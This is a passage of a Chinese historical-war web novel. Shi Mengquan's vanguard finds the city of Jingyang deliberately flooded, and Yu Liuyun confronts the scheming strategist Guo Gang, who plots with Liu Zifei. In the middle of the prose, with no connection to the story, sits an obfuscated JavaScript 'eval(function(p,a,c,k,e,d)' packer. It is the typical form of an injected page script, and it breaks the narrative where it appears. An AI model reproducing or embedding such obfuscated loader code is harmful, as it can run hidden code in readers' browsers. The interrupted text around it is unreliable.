他想起仁宗元年的时候,他们在内廷和藤王世子打架,对方把石梦泉绊了一跤,结果玉旒云暴跳如雷,拣起一块石头把藤王世子的头打破。这事当然惹恼了藤王妃,进宫告状。太后做主要庆王妃玉朝雾管教小孩。但是受到处罚的却是石梦泉。为了这件事,玉旒云有三个月不肯和姐姐说一句话。 后来他们是怎么和好的?石梦泉已经想不起来了,不过多半是玉朝雾去哄好了妹妹——那也毕竟是别人和玉旒云之间的事。 他和玉旒云认识十六年了,从来没有像这次。他不知道该如何是好。尤其,他觉得自己不能够只是去哄她,去顺着她的意,去承认自己不该质问郭罡的计策……玉旒云已经是满身的戾气,有郭罡推波助澜,将来会怎样?他也听过“成大事者不拘小节”,也听过“无毒不丈夫”,但是他不愿意玉旒云走到那条铁血之路上去。 他不愿意。这可以吗?想起她面对自己说的那番话,如此冰冷,就像是在说:“你算是我的什么人,竟然来过问不该你管的事?” 但她也问他受伤了没有。 他没有受伤。这一次,刀剑都没有伤到他。只是,伤一个人,并不总是需要利器。 到第四天,雪才终于停了。根据玉旒云“协助”刘子飞所制订的作战计划,将以健锐营和神弩营为前锋,迅速出兵靖杨。每打下一处之后,先导部队就要立刻前进,继续攻打下一个城池,而后续大部队就跟着保证补给,并维护占领区的秩序,如此可达到速战速决的目的。 玉旒云令石梦泉为先锋部队指挥官,副手仍为罗满。 不过,罗满反对这样的方略:“如果每一处不能切实占领,彻底摧毁抵抗力量,就需要在前进过程中不断分配兵力在地方维持秩序,势必造成战线过长。如果敌人乘机切断我军补给线,后果不堪设想。” 郭罡却笑道:“如果遇到一层层布防的国家,如此打闪电战的确有孤军深入被拖垮的危险。然而现在郑国军阀割据,缺乏统一的部署调度。每个城池的主公之间究竟是敌是友,连他们自己都不清楚。他们也根本不能指望相邻的城池会来支援。我军实现全面占领应该不在话下。” 罗满道:“正是因为他们现在军阀割据,我们根本就不清楚郑国国内的情形——谁和谁可能联合起来,谁和谁老死不相往来——也就是说,什么地方的抵抗力量可能较强,什么地方较弱,分别要怎样攻取,我们都不知道。万一遇到几路诸侯联合起来包围前锋部队,先锋部队可能会有去无回。” 郭罡道:“罗副将大可以放心。老夫在郑国也有些年头了,郑国有哪几路诸侯,各自又有几斤几两,我还能不清楚?其实这些门阀都是在郑帝驾崩后才形成的,在地方上没有威信,在军事上也无实力,要将他们各各击破易如反掌,而要他们自己联合起来抵御我军,那才是难于登天。我想,健锐营和神弩营兵临城下之时,这些诸侯只会望风而逃。秘密切断我军补给线这样高明的计策,他们就是想破了头,也想不出来。” 罗满知道郭罡就是玉旒云新收的谋士,相信此人计谋超群,但是一听到他这种出卖旧主子仿佛丢掉双破鞋子似的的语气就觉得此人非常讨厌,忍不住道:“郭先生,话也不能这样说。兔子急了还会咬人呢,这些人好歹也是郑国的权贵,拉帮结派的本事总有一些。我军打到他们的家中,他们暂时联合起来,又或者急中生智想出什么诡计,也未可知。” 郭罡道:“那么依你看,应该怎样?” 罗满道:“依我看,应该脚踏实地——先着眼于靖杨,攻下靖杨之后,以靖杨为根据地,再向前推进。这样前锋部队始终不会离开大部队太远,可攻可守,灵活机动。如果需要支援,还可以从神女关调兵。石将军,你看呢?” 石梦泉盯着地图:“我也认为先锋部队不应该离开大部队太远。不过,一个城一个城的推进的确太保守,毕竟郑国自去年翼水一战后就已经实力大减,我军应该不会遇到太强的抵抗。但是为了以防万一,先锋部队行进的速度不宜太快。我以为,如果后继部队的占领速度比先锋部队的进攻速度慢三个城池的话,先锋部队就应该原地整休待命。” 郭罡笑了笑,从案头的小香炉里抓了一把香灰,朝地图上一洒:“郑国大概就只有这一把香灰的兵力,现在分散四方。石将军说进攻速度和占领速度相差三个城池就要放慢攻势,老夫看还是太保守了。提高到六个城池也没有关系。” 石梦泉皱了皱眉头:“我素不喜欢在战场上冒进,以险取胜不如以稳取胜。” 郭罡道:“我有九成的把握,将军可以一路凯歌打进郑国,沿途几乎不会遭到任何的抵抗,就算不实行全面占领也不会出现造反闹事——这样还不叫以稳取胜吗?” 石梦泉冷冷的:“你说的时候是有九成,那只是你的估计。一件事到了眼前只会是发生或者不发生,不可能只发生‘九成’或者只发生‘一成’。我要对带出去的士兵负责。敌死一千我伤八百的事,我绝对不允许发生。所以,我宁可行军速度慢些,也不冒那一成的险。况且,攻下的城池已经失去了郑国官府的管理,若再无我樾军驻扎,难□□寇四起。这对郑国的百姓也太不公平了。” “其实……” 郭罡还要再说,却被玉旒云打断:“就按照石将军的意思办。前锋部队行军速度由他根据前线状况灵活决定。大部队要紧跟在后,以最快的速度恢复占领区秩序。如果郑国地方官原先管理得好的,又愿意继续留任的,就让他仍旧治理,否则让当地百姓推举德高望重之人,与我军军官共同治理当地。”说到这里,看了刘子飞一眼:“严禁我军军官独裁一方,搜刮郑国财物,欺压郑国百姓。若有违抗着,不管是将军还是小卒,一律斩首。” 刘子飞知道她有所指,嘿嘿冷笑:“自然,遇到这样叫人看不顺眼的家伙,我也巴不得能砍了他的脑袋呢!” 玉旒云不理他,只是对石梦泉道:“你去吧。” 石梦泉抱拳:“是。”罗满、卢进和韩夜也都纷纷领命,然后一个跟一个退出去。 “小心。”玉旒云又说。 这是对他一个人,还是对大家?石梦泉忍不住抬眼看了看她,可是却见她的眸子看向自己的身后。便怔了怔,回身望去,见有一个边境哨兵正匆匆地跑来。 “启禀将军,不好了!”这哨兵上气不接下去地道,“郑军先发起进攻,向我们这边打过来了!” 竟有这种事?玉旒云一蹙眉。 郭罡道:“这不正好?他们等不及要来送死,我军还等不及要去靖杨过年呢——石将军,就交给你吧?” 石梦泉没有应他,只是又看了玉旒云一眼,她这眼神仿佛回到了过去每一次战斗之前:就交给你了。她是这样托付的。于是他再次顿首领命,接着转身飞跑出来。 石梦泉从没见过这么奇怪的冲锋——二皇子死后,靖杨指挥郑军的是谁?怎么打仗也打得毫无章法?他火急火燎赶到边境的时候,已经有一些郑军冲到了樾军的堡垒跟前。这些都是骑兵,完全看不出有任何的阵形,有些人连铠甲也没穿戴整齐,樾军一放箭,他们就直接成了箭下亡魂。石梦泉一壁叫健锐营和神弩营速速集合,准备进攻,一壁组织边境的富安守军抵抗郑军的冲锋。没得多少时间,这第一股冲锋力量就全部被瓦解了。罗满在城楼上望望,见远处边境线上还有些郑国步兵正在朝这边来。“这可真是奇了!”他道,“骑兵、步兵混在一起,这是什么打法?遇到这样的一群草包饭桶,难怪那郭先生说我们会一路凯歌。” 石梦泉也是满腹疑问:“他们何止步兵骑兵混杂,你看那些人连前进的方向都不一样——还有不少人是朝北方走的。北方是朱家坝,如果要从那里绕过我军的防线,也不该是这样乱哄哄明目张胆地冲啊!” 罗满道:“的确是蹊跷。将军,依你看郑军会不会有什么诡计?” 石梦泉皱着眉头:“莫非是在靖杨有所埋伏,故意要引我们轻敌?” 罗满道:“他们之前不是也曾把士兵藏在地道中?郭先生说地道一直连通到靖杨,不会是想故技重施吧?” 石梦泉摇摇头:“我也不知道。我们先等等看。” 于是按兵不动,静观边境上的动静。但见靖杨城中不断地有兵士涌出来,状似无头苍蝇。开始有许多都奔向富安这边,就被守军全数消灭。后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然而石梦泉不受他干扰,坚持己见。玉旒云也立刻批准他的请求,令骁骑营派出一千人马立刻出发。到了黄昏时,这队人马回来了,报告说一直追查到朱家坝附近,见一路上丢满了盔甲和兵器,郑军仿佛是仓皇逃窜,这时已经都混在平民之中了;而朱家坝和临近的城镇都反映这一两天来涌进了大批郑人,看来都像是逃荒要饭的,听到富安方面有这样的追问,他们便也起了疑:会不会是郑军假扮成平民打算在后方兴风作浪呢?邓川在朱家坝,已经自己先拿了主意,将所有涌进城的郑人看管起来,等待玉旒云的下一步指示。 “眼下就是新年,哪有这时候出门逃难的?”罗满道,“况且雪又这么大。突然有大批难民活动,一定有诈。玉将军,是不是要修改作战计划?” “对呀,是有诈。”刘子飞笑道,“是‘兵不厌诈’的‘诈’。十六年前我军本来有机会攻陷凉城的,结果不就是姓程的那个书生摆了个空城计,害得我军功败垂成么?依我看,郑人这次也是知道如果跟我们硬拼,一定守不住靖杨,所以干脆把城撤空了,让我们去怀疑里面有伏兵。我刘子飞今天在这里拍胸脯,如果靖杨不是空城,我的名字就倒过来写!” 罗满道:“打仗的事怎么能够随便拍胸脯?万一出了事,就算是真把刘将军你的名字倒过来写,也于事无补。” “罗满你是什么态度?”刘子飞怒道,“我就是知道靖杨是空城,我早就……” “刘将军、罗副将,二位都稍安勿躁。”郭罡打着圆场,“靖杨是不是空城,只要去看一看就知道了。其实空城计这种下三滥的招数只能用来吓那些看似心细实际很粗心的人。当年岑老将军打到楚国京城之下,看到程亦风搂着三五美女在城楼上有说有笑,就以为城中伏有重兵而不敢轻易进攻,以致失去先机,后来不得不撤退。其实,他当时只要派出一两百人马进城查探一番,程亦风的谎言立刻就会被拆穿,楚国也早就不存在了。正是因为岑老将军患得患失,自以为是小心翼翼,起初不肯让一小队士兵冒险进城去,后来又怕司马非追来而不敢速战速决,这才让楚国苟延残喘到了今天。” 石梦泉听出他话里有话,显然是针对自己前日那宁可求稳不肯冒进的言论。他瞥了郭罡一眼,又无意无意地望了望玉旒云。 玉旒云刚好也正看着他:“你怎么想?” “属下以为……”他低着头,“靖杨情形的确可疑,但是……郭先生说的也不无道理。属下愿意亲自率领一队人马先进成侦察,而健锐营和神弩营可在外接应……” 他还没说完,玉旒云已“倏”地立了起来:“不用你亲自去——”旁边罗满也道:“是啊,石将军,你是先锋部队的统帅,不可以身犯险。不如让我带人去吧。” “不。”石梦泉道,“玉大人,你把先锋部队交给了我,我就有权决定派谁去、不派谁去,对不对?”他直视着玉旒云:靖杨的古怪,是否又是郭罡的所为?他是不是又想在那里借刀杀人除掉什么人?如今就赌一赌,赌自己在玉旒云心中究竟是怎样一个地位,就赌她不会眼睁睁看着自己去送死,就赌郭罡不敢谋害自己……他很想赌一把,不论是什么结果,他都想知道。 玉旒云有些意外地看着他,然后又显得很生气:“好。你是先锋部队的统帅。我把军队交给你,随便你怎么指挥,你只要事后给我个交代就行。你去吧!” 石梦泉觉得心口仿佛被刺了一下,使出浑身的力量才能站得稳:“属下遵命!” 健锐、神弩二营次日一清早就出发,花了不到三个时辰就全部开到了靖杨城下。只见城门洞开,连一个守卫的军士也不见。石梦泉即布置下去,要罗满和卢进、韩夜带领大部人马在外等候,自己率领一支才百人的队伍进入靖杨城。 “我会在一个时辰之内传消息出来。”他对罗满道,“如果没有消息,你们千万不要进城。” 罗满总觉得他有些不对劲,可是知道他决定了的事,争也无用,只到点头答应,命令士兵严守待命。 零零星的,又飘起小雪来。过了一个时辰,两营兵士身上都积了薄薄的一层白色。卢进和韩夜都有些焦急了起来:“罗副将,石将军去了这么久还没有消息,不知道出了什么事?” 其实罗满比他们更急,但还得做出镇定的样子稳住军队。“再等等。”他说,自己也朝城中那条积雪和烂泥混合在一处的道路上眺望——自从石梦泉等人消失在这条路的尽头后,就再也没有一条人影出现过。 不觉又过了一个时辰,依旧不见任何动静。卢进忍不住了,道:“罗副将,我们进去看看吧——石将军不在,他把前线指挥权交给了你,请你下个命令让我们进去看看吧!” 罗满的眉头拧成了川字。武将切忌感情用事,他反复地在心里叨念这句话,如果一队人马一去不返,再派第二队去只会是相同的命运……这次从同郑军交战,还未出师就已经折损了一名总兵一名将军……古怪的事情实在太多,也许对付这靖杨城也需要用些非常手段? “罗副将——”周围的将士都用恳切的目光看着他,“我们进城吧,就算是巷战,也没什么可怕的。我们进去看看石将军有没有出事——” 不错,巷战!罗满想,本来郭罡叫他们来攻城,然后等大部队来进行全面占领。现在城池无人驻守,可以算是不攻自破,他们可以变闪电进攻战略为扫荡式占领战略,两营军士一齐开进城去,一寸一寸向前推进,就算遇到伏兵,也就是在城里打一场而已。这样等下去,真要逼人发疯了! 他当下命令:“好,神弩营前面开道,只要看到敌人踪迹,立刻放箭,就地格杀!” “是!”神弩营兵士山呼响应。韩夜一声令下,他们便开始迅速而有序地进入靖杨城。然而就在这个时候,泥泞的路上出现了一个樾军士兵的影子,正是先前和石梦泉一起进成的其中一个。罗满见了,立刻叫神弩营稍缓,自己大步向那士兵迎上去:“怎样?里面是什么情形?” 士兵跑得急了,喘得厉害:“空……空城……真的是空城!” “什么?”罗满道,“你说清楚些!” 士兵道:“靖杨没有人了。我们之前看到那些郑军真的是逃命去的。这里根本就不能再埋伏人。” 听他这样解释,罗满更糊涂了:“为什么根本不能埋伏人?”卢进也问:“郑军怎么好好儿的都逃命去?” 士兵一指那条泥泞不堪的道路:“靖杨不知怎么的冬天竟然发大水。这里地势高,还不怎么看得出来,以为是雪被踩化了。再朝东面走就淹到膝盖了——估计城东门现在都淹过屋顶了。” 竟有这种事?众人都惊讶万分:大青河汛期在夏季,偶然三月里因冰雪消融会出现春汛,但是冬天发大水是从来也不曾听说过的,而且能淹没房顶,简直是天下奇闻。莫非是老天帮助樾军? 也没时间计较这些。罗满只问:“那么石将军现在有何指示?” “石将军……”士兵犹豫了一下,“石将军什么指示也没有……罗副将,我们都从来没见过石将军这个样子……他好像疯了似的……” 他告诉罗满,石梦泉带领他们来到城中,发现街道淹水,而且越往深处越是淹的厉害,年轻的将军脸色当时就变了,看到水似乎是从西南淹过来的,就立刻要去那边看个明白;大家拦也拦不住,只好跟了上去,不久就来到了靠近大堤的地方,见洪水从一个小土丘上源源不断地流下来,石梦泉就要再往山上去,然而山坡的泥土浸饱了水,不断地下滑,根本就无从立足,他几次都摔了下来。 “石将军要到山上去干什么?”罗满问。 “我们也不知道。”士兵道,“我真的从没见过他这样……罗副将,现在要怎么办才好?” 罗满知道是出了大事了,不是靖杨,而是石梦泉。“卢都尉,你立刻派人快马回去将靖杨发洪水的消息禀报玉将军。”他命令,“韩都尉,替我带大家在此等候,我进去看看石将军。” 卢、韩二人都得令,罗满就跟着那士兵飞跑进城。果如先前所言,没多远,水已经淹到了脚脖子,待二人折向南方和石梦泉所带的人马汇合时,连小腿也都浸在了水中,冰、雪和泥水混在一起,寒意刺骨。 罗满看到石梦泉,正带着士兵们将被洪水冲倒的树木搬到河堤旁,似乎是想加固堤坝。他实在大惑不解,高声唤道:“将军!石将军!” 石梦泉回头看看:“罗满!你来得正好,快传我命令,叫健锐营、神弩营立刻进城来加固河堤。” 罗满趟水来到他的跟前:“将军,这究竟是怎么一回事?” “怎么一回事?”石梦泉的表情仿佛是觉得罗满问得很奇怪,“靖杨发了洪水,如果这里决堤,下游岂不是更加无发收拾了?所以一定要保住这条河堤!” 罗满道:“是……但是……” “但是什么?”石梦泉道,“你不会是以为城里内涝而大青河正是枯水季所以应该打开河堤向外泻洪吧?你不知道,大青河到了这里已经成为悬河了,河面比城墙还要高呢!”他指指身边数丈高的斜坡:“这河堤里面看起来有几丈,外面大概就一丈来高。只要它出现一个裂缝,我们所有的人和下游乾窑、归平,黎茳等六县的百姓全都要被冲走!” “啊!”罗满才知道事情的严重,不过,石梦泉怎么郑国地理如此熟悉? “快去传令!”石梦泉催促他。 “是,是……”罗满虽然应着,但是心里浮现起出征前刘子飞所说的话——“我就是知道靖杨是空城,我早就……” 他早就知道?莫非……这洪水来得如此古怪,难道是有人在上游动了手脚?天!他还以为是老天发一场古怪的洪水帮他们除去对手,如果是那样,石梦泉应该命令大家原地休息,等洪水稍退就趁势占领各城,但如今他这样紧张地巩固堤防……罗满望着举止异常的石梦泉——这一定是人为的! “将军……”他嘴唇颤抖,想问,既问不出,也不知要问什么。 “还不快去传令!”石梦泉这次声音有些嘶哑,距离如此近,罗满可以看到他眼中的血丝。“要是这河堤出了纰漏,我唯你是问!” 60. 第 60 章 接到了靖杨传回的消息,玉旒云有半晌没有说话。传令的士兵看到她仿佛雕塑似的立在案前,虽然房内炭火烧得正旺,却也叫人感觉寒意刺骨,快要冻僵。然后,玉旒云猛地一拍桌子:“把郭罡给我带来!” 郭罡不时就到了,从容自若好整以暇:“大人突然叫老夫来,是不是前线情况有变?是……” 话还没说完,只见寒光一闪,玉旒云的剑已经架到他的脖子上。 郭罡愣了愣,依然微笑:“大人,这是什么意思?” “你问我?”玉旒云的剑峰紧贴着他的脖颈,“靖杨被水淹了,就是这个意思!” “被水淹了?”郭罡还是微微含笑,“那岂不是天助我也?大人应该开心,为什么要动怒呢?” “混帐!”玉旒云用剑身“啪”地在郭罡身上一抽,他整个人就被推倒在地。玉旒云紧跟着又将剑指在他的喉间,道:“我三令五申不许引水淹没靖杨,你为什么还要这样做?” 郭罡毫无惧色:“靖杨被水淹没,就一定是老夫引水造成的么?” “不要狡辩!”玉旒云斥道,“不是你做的还是谁?” “大人亲见是老夫做的?”郭罡道,“为什么就不会是天意呢?” “你当我是三岁孩童么?”玉旒云道,“哪有大冬天发洪水的道理?” 郭罡道:“大人有所不知,其实越是严寒,越是容易发洪水呢!当天气骤冷并持续寒冷,河中就会形成一道冰坝,上游便成了一个临时的水库。如果遭遇周围地形变化,或者冰坝本身的拉伸、压缩而产生裂隙,冰水沿裂隙渗透,最后导致冰坝溃裂,临时水库的水在短时间内奔泻而下,就形成突发性洪水——” “一派胡言!”玉旒云愤怒地打断,“你是吃了熊心豹子胆,公然违抗我的命令?” “老夫如何是胡言?”郭罡道,“冰坝洪水,过去的二十年中史上有载的便有六次。老夫自己曾见过一回,水势之强百倍于平常。” 玉旒云道:“你不用再说了。我这里不是刑部大堂审案,不需要跟你讲证据。你做了什么,你自己知道,我也知道,这就足够了。你罪不可赦——来人,给我拖出去砍了!” “慢着!” 玉旒云自己言出必行,她下的命令也决少有人敢违抗,郭罡不仅阳奉阴违,还当面呼喝,真把她气得不住冷笑:“还有人自己替自己喊刀下留人的?既然怕死,就不要做该死的事!” “老夫不怕死。”郭罡道,“老夫是为大人着想。冬季洪水的确不如夏季常见,当初老夫向大人提出水淹靖杨的计划,大人先拍手赞成,后来听了石将军的话才改变主意。那时有许多人在场,他们的眼睛可是雪亮的。现在靖杨果真被水淹没,他们会怎么想呢?” 玉旒云“哼”了一声,不回答。 郭罡道:“玉大人是军队的统帅,要说有人敢不得你的命令就私自行事,这话恐怕没人会信。如果你就此杀了老夫,然后对人说是老夫瞒着你引水害人,我看大家多半会认为你只不过是想把一切罪责推到老夫的身上,所以就把老夫杀了灭口——且不论大家对引水这事本身的看法如何,单看这不敢承担、归罪于人的举动,将来有谁还敢给玉大人卖命?” 玉旒云怔了怔,既而冷笑道:“你自己怕死,就编出这些理由来。我告诉你,我玉旒云不缺敌人,也不怕敌人,别人爱怎么想就怎么想。” “果真?”郭罡也冷笑,“那么石将军呢?” 玉旒云呆了呆。 郭罡又接着道:“大人走到今天这一步,牺牲有多大你自己心里最清楚。这时候是要排除万难争夺最后的胜利,还是患得患失功败垂成?我想大人如此英明,应该有自己的判断吧?” 玉旒云盯着他,眼中的怒火和杀意丝毫未减。 郭罡也无畏地直视着她:“大人现在不应该计较靖杨的大水是天意还是人为,而应该权当这是老天送给我们的礼物。你应该命令石将军尽快绕路南下,率先攻入江阳,拿下郑国。这个功劳,你不能让给刘子飞。” “礼物?”玉旒云将剑猛地一刺,插在郭罡颈边的地上,“以前我听说有些妖言惑众的家伙,死的也能说成是活的,现在总算亲眼见识到了。你花言巧语的本事很大,不过我不会再上你的当了。你去阎罗王那里耍嘴皮子吧!”说时,将剑一拔,直朝郭罡的胸前扎下。 “玉大人!”门口一声喝,跟着寒光闪过,一把刀架住了玉旒云的剑。“玉大人,你这是做什么?”原来司刘子飞进来了。 “我杀一个做错了事的俘虏。”玉旒云道,“这也需要经过刘将军你批准么?” 刘子飞扶起郭罡,挡在自己身后,道:“什么事把玉大人气成这样?郭先生早先投效于你,为你也算立下了汗马功劳了——别人也许不知道内情,咱们都是心知肚明的,没必要说假话。他就算做了什么事惹你生气,也不能伤他性命吧?” 玉旒云知道自己方才太冲动了——如果她现在杀了郭罡,刘子飞将是第一个抓住机会抹黑自己的人。于是还剑归鞘,道:“刘将军来找我有什么事?” 刘子飞嘿嘿一笑:“我看见靖杨那边有消息来,想问问情形如何。” 玉旒云瞥了他一眼,不知他对内情了解多少,看这满有把握得意洋洋的神情,只怕他老早就晓得一切了。不错,他当时坚持靖杨是空城,而之前,在玉旒云从朱家坝回来的那个晚上,她分明听见郭罡对刘子飞说过,要教给他一条不费一兵一卒就取下靖杨的妙计——原来是这两人勾结在了一起!玉旒云因冷笑了一声:“靖杨的情形如何,刘将军你会不知道?你敢拿自己的名字来打赌,自然是有十分把握的。” 刘子飞怔了怔,笑道:“就是因为我拿自己的名字来打赌,所以才关心。靖杨果真是空城么?” “靖杨不仅是空城,”玉旒云恶狠狠地道,“还是死城。不单如此,我想下游的乾窑、归平,黎茳等六个县也将成为死城。我军果真不费一兵一卒。” “真的?”刘子飞连戏也懒得演,表情中掩饰不住阴谋得逞的洋洋之色,“哈哈,那真是天助我也。我看沿河一带都地势低洼,不过北面有黑龙山余脉蛟岭,大水应该淹不到那里。趁着现在难民纷纷涌向北方,在混乱之中我军要从北面打开一个缺口攻入郑国也应该是易如反掌。我建议让石梦泉迅速离开靖杨,从蛟岭发起进攻。我大军也应立刻由此北上,从朱家坝继续向东推进。” “呵,刘将军的作战计划制定可真快啊!”玉旒云讽刺地,“怕是这几天来你一直计划的就是从北面进攻吧?” 刘子飞笑道:“彼此彼此。玉大人不是早就调了几千人在朱家坝么?恐怕你从一开始就计划着从北面攻打郑国了吧?” 现在就是有一千张嘴说也不清了,况且根本就不屑同刘子飞这种人计较。玉旒云就干脆闭口不言。 刘子飞道:“我看移师北上一定要迅速,一旦过了难民奔逃的这一段时间,就不太容易趁乱袭击了。玉大人,是否现在就传令给石将军?” 石梦泉……他看到靖杨一片汪洋,会是什么反应?玉旒云呆呆地看着地图:靖杨、乾窑、归平、黎茳……这些都是郑国的富庶之地鱼米之乡,七个县加起来有多少人受灾? “玉大人?”刘子飞又唤了一声,发现玉旒云还是独自出神并不答应,就自己命令道:“来人,立刻传我军令,要石梦泉将军率健锐、神弩两营立刻转战蛟岭,务必在三天之内取下龙牙关。” 他下完命令,又看了看玉旒云。后者仿佛根本就没有听见他说些什么。原来玉旒云也有神不守舍的时候。他心里便一阵得意,对郭罡道:“郭先生,看来玉大人有些很重要的事情要自己一个人思考,咱们出去商量北线战略吧!” 郭罡点了点头,同时也望了望沉默不语的玉旒云,微微一笑,故作神秘地对刘子飞道:“刘将军,北线如今一片混乱,我军势必一路凯歌。不过要对郑国实现全面占领,还有一个人很关键。” 刘子飞自然问道:“谁?” 郭罡道:“这人叫乔日新,虽然不是什么皇亲国戚高官显贵,不过郑国人把他当神仙一样来拜,如果你把他收服了,那就相当于收服了整个郑国,将来就算我们不驻军于此,占领区也必然不会造反。” “真的?”刘子飞大喜,“那么到什么地方才能找到乔日新?” 郭罡道:“乔家祖籍辽洲,还在朱家坝以北。不过自从一年前郑国割让半壁江山后,辽洲也划入樾境,乔日新就带着全家搬到他夫人娘家所在的定洲去了。乔夫人娘家姓童,是定洲望族,应该不难寻访。” 刘子飞道:“不知乔日新脾气如何、有何喜好,我要怎样才能将他收服?” 郭罡道:“这人脾气很古怪,虽然有些喜好,但是什么也不缺,所以很难讨好。依老夫之见,不必同他多花时间,应该直接派人把童府围了,逼他顺服。这些土财主们没经历过大风浪,嘴上可以说的很大义凛然,但其实经不住吓。老夫保证,你把他抓起来关上几天,他就什么也答应了。” 刘子飞道:“这个简单至极。我这就去办。叫骁骑营派三百人够不够?” 郭罡道:“将军真的心急——如果只是抓乔日新,骁骑营一百人就够了。不过定洲还是郑国领土,总得先把龙牙关攻破了,才能到达定洲吧?所以……”他打住了,向刘子飞使了个眼色,示意他到外面来再说。两人便一同走出了玉旒云的书房。郭罡押低了声音,道:“将军你虽然下令让石梦泉去攻打龙牙关,不过我看他人在靖杨,并不一定听你调度。” 刘子飞道:“怎么,虽然他是玉旒云的应声虫,不过现在靖杨淹成这样,他呆在那里能有什么作为?” 郭罡道:“就是因为靖杨淹了,将军你打算从北方绕路攻打江阳,他才更要留在那里——将军请想,从龙牙关走,路途遥远,又需要攻打险关,就算郑国的诸侯再草包,龙牙关也是易守难攻之地,你先前说要‘三天之内’取下,根本是不可能的。老夫保守估计,光在这一座关上就要花五天的时间。” 刘子飞道:“那又如何?石梦泉不会因为害怕无法在我规定时限内完成任务就公然抗命吧?” 郭罡道:“当然不是。将军,靖杨是怎么发了大水,你我都清楚。现在大青河正是枯水季,我们纯是利用地势的关系才把那七个城池淹没了,这场水持续不了多久。石梦泉只需要留在原地养精蓄锐,待大水一退,他立刻就可以从沿河的原订路线挥师江阳。不仅路程近,而且洪水帮他扫清了抵抗力量,相信他不费吹灰之力就可以来到江阳城下。这么便宜的事放在眼前,他为什么要去北线找苦吃呢?” 刘子飞“哎呀”了一声:“那可怎么办?” 郭罡道:“依老夫之见,将军一方面要去向石梦泉传达军令,一方面要立刻自带人马出发攻打龙牙关,片刻也不能耽搁。取下龙牙关之后,就进入定洲逼乔日新臣服。然后大军东进,抢在石梦泉和玉旒云之先进入江阳。” “等等……”刘子飞皱着眉头,“你要我立刻亲自去攻打龙牙城,但石梦泉自己就在靖杨等着水退?如果大水很快退去,他和玉旒云从南线先打到江阳,我岂不是吃力不讨好?” 郭罡笑了笑:“大人听老夫说完——老夫怎么会让大水那么容易退去?” “郭先生的意思……”刘子飞看着郭罡那一副“山人自有妙计”的样子,呵呵笑了起来:“先生真不愧是做大事的人,早就安排得如此妥当。佩服,佩服!” 郭罡道:“这才只是其一。只要将军攻下龙牙关,抢先占领江阳,我们还可以追究石梦泉抗命之罪——为了追究的理由更充分些,将军此去北线,伤亡越大越好。反正你领的都是玉旒云的部队,何必为她心疼?” 刘子飞开心得哈哈大笑:“刘某人和郭先生真是不打不相识。今后有先生帮助,我可再也不用受那黄毛丫头的气了!” 郭罡也笑:“老夫就先预祝大人马到功成!” 刘子飞的军令传到了靖杨果然就没有下文。作战计划因而就此改成刘子飞率领前锋营和骁骑营北上,而玉旒云则带领步军营在后方指挥,负责补给的调度和占领区的统治。 玉旒云对这个计划并没有提出任何反对意见。刘子飞生怕她表面上不动声色,实际想跟自己抢功劳,要让她离自己远一点儿,便建议她不必和自己一同出发,可以在富安多留几日,或许石梦泉改变主意愿意转战北线,到时也好联络指挥。 玉旒云并没回答,只是看看他,又看看郭罡。 郭罡自然十分清楚刘子飞的用意,对玉旒云低声道:“大人以为北线作战刘将军能胜任么?” 玉旒云冷冷地瞥了他一眼:这个人说的话,岂可再信?便无声地冷笑:“他不能胜任,有你在他身边,他岂不是无往而不胜?” 郭罡愣了愣,叹了一口气。 玉旒云不想再同他多罗嗦,自走到了赵酋和陈灏的面前,道:“北面龙牙关易守难攻,你们两个凡事要有商有量。事先计划得越周详,战场上流血就越少。你们的部下都是你们的手足,也就是我的手足,我希望你们能把大家都平安带到江阳。” 赵酋想也不想,一口答应。陈灏问道:“玉将军,你打算几时跟上我们的队伍?” 玉旒云道:“跟得太紧了,倒显得我对刘将军不信任。他好歹也是个将军,要是完全不会打仗也坐不上这位子。你们跟着他好好的把龙牙关打下来。如果让他觉得你们跟他拧着干,他也会找苦头给你们吃。你们在军中的时间其实都比我长,应该懂得随机应变。” 陈灏听她这样说话,不禁眼睛一热:这仿佛带了几分石梦泉的语气啊!素来只觉得玉旒云意气风发鲜衣怒马,是个武神一样的人,未想到也会这样轻声叮咛。他立刻一抱拳:“将军放心。不论到了哪里,跟着什么人,我们都是为你打仗。” 赵酋也道:“将军你放心。我们一定打个漂亮仗等着你来。” 玉旒云拍拍他二人的胳膊:“好。拿下龙牙关之后,希望你们长驱直下,一举攻破江阳。”说罢,转向刘子飞:“刘将军,我的这些好部下就交给你了。我们江阳见吧!” 如果她大发脾气恶言相向,刘子飞还习惯些,然而她这样从容这样镇定,甚至有些洒脱,反而使刘子飞愣住了:莫非到底还是低估了这个小丫头?难道她有了赢得这场争斗的计划,也有了胜过我的把握?这当儿已经无法再细细考量,他因道:“好,那就江阳见。”说时,又看了看郭罡,道:“郭先生跟我同去北线么?” 郭罡的表情难以捉摸,似乎对前日玉旒云的一怒拔剑还心有余悸,因道:“如果玉大人不反对……” 可玉旒云连看都没看他一眼,已经大步走开了,直来到了城楼之上,对整装待发的樾军将士拔出了剑,朝天指着,道:“我大樾国自太祖皇帝建国以来,还没有遇到过拿不下的城池,打不赢的仗。今日出发,望尔等勇往直前,扬我军威,替圣上将我大樾的旗帜插上郑国皇宫!” 士兵们自大青河之后就指望着痛痛快快打一场胜仗,从瑞津来到此处就是为了这一刻,因而山呼响应。跟在玉旒云身后的赵酋等军官俱想:光是这士气,就已有七分胜算。刘子飞则是稍有不快地暗自嘀咕:玉旒云在去年年初的时候还只是跟在我们这些老将身后,头一次自己带兵不过是在落雁谷。现在不到两年的时间里,她在军中竟有如此威望,这次要真被她抢了头功又夺回兵权,朝中岂还有我的立足之地? 非得抢先攻下江阳不可!刘子飞暗暗发誓,不再耽搁,立即下城率军向北而去。 玉旒云和步军营都尉慕容齐一直看着大军远去。然后慕容齐问道:“玉将军,石将军究竟在靖杨做什么?既然被水淹没,他为什么不肯转战北线?还是刘将军根本不想我们去北线?” 玉旒云当然清楚刘子飞的用意,不过她更加清楚石梦泉在靖杨的情况。只要一想到石梦泉在靖杨,想到他面对着滚滚洪水,想到他心里可能翻腾着的种种念头,她就心烦意乱。 “我要去一个地方看看,”她边步下城楼边对慕容齐道,“你带些人跟来。” 